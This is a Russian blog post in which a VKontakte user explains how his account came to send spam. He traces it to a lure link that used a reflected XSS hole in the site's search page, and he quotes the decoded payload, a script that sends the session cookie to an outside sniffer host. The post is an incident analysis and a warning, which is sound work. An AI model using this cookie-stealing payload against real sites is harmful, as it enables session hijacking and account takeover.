Предыстория (можно не читать)


Прихожу я сегодня домой и вижу в личке вконтакта 9 сообщений. Т.к. я не особо люблю и не часто посещаю этот ресурс — сие событие было странным. В сообщениях пользователи писали что от меня вконтакте рассылается спам. Плохо, но да ладно, сменил пароль и все… Хотя задумался: старый пароль — 12 символьный цифробуквенный, сбрутить почти нераельно. Комп кристально чист и не заразен… Так в чем же дело?

Разбор полетов


Смотрю текст сообщения, разосланного от моего имени:
привет, этo не cпам! раccылаю этo cooбщение вcем cвoим друзьям.я cегoдня удалю cвoю cтраничку вкoнтакте, дocтал cпам oкoнчательнo.Так чтo, еcли чтo-тo будет нужнo, либo звoни\пиши на мoбильник, либo ищи меня здеcь odnonochniki.?tk, там xoтя бы cпама нету), я пoд cвoей фамилией и имнем.вoт так.
И тут понимаю, что мое природное любопытство подвело меня и в этот раз. Вчера аналогичное сообщение пришло мне, ну и естественно, сидя на опере, чуствуя себя в безопасности я перешел по этой ссылке. А теперь заходим на эту страничку (из незалогиненного браузера!), и смотрим код. Что же мы видим? В коде подгружается скрытый плавающий фрейм:
<iframe src='http://%76%6b%6f%6e%74%61%6b%74%65%2e%72%75/gsearch.php?q=%27;()())//\%27;document.write(String.fromCharCode(60,115,99,114,105,112,тут было еще много цифр через запятую, которые растягивали страницу и за это их забрало НЛО. Если кому они действительно нужны - в личку))//%22;%3C%3E%22)//\%22;%3C%3E%22%3C%3E%22%22!---%22?%3E#c[q]=%27%3B()())%20%20\&c[section]=people' style='display:none;'></iframe>
Ссылка ведет на заURLencode-нный «vkontakte.ru», к скрипту, выполняющему поиск. Как известно, после процедуры поиска текст запроса выводится обратно пользователю, этим (а также отсутствием должной фильтрации) и воспользовались спамеры в данном случае.
В строку запроса внедряется JavaScript-код, в данном случае это закодированый в ASCII код еще одного фрейма:
<script>document.write('<iframe src="http://webzer.vov.ru/s.php?dc='+document.cookie+'" style="display:none;"></iframe>');</script>
Это собственно и есть снифер, на который и улетают куки вконтакта некоторых любопытных пользователей типа меня.
Уязвимость актуальна на момент написания, простой алерт (проверено под оперой) демонстрирует это. В IE не работает, т.к. там нет поддержки протокола «data:», а я не специалист по написанию эксплоитов.

Некоторые выводы


  • Не ходить по левым ссылкам.
  • Безопасный браузер ничего не гарантирует (в данном случае это XSS-уязвимость на «крупнейшем сайте рунета»), а вот бдительность усыпляет

UPD: Пример с алертом перестал работать уже через 3.5 часа после публикации. Для тех, кто не успел посмотреть сохранился скриншот.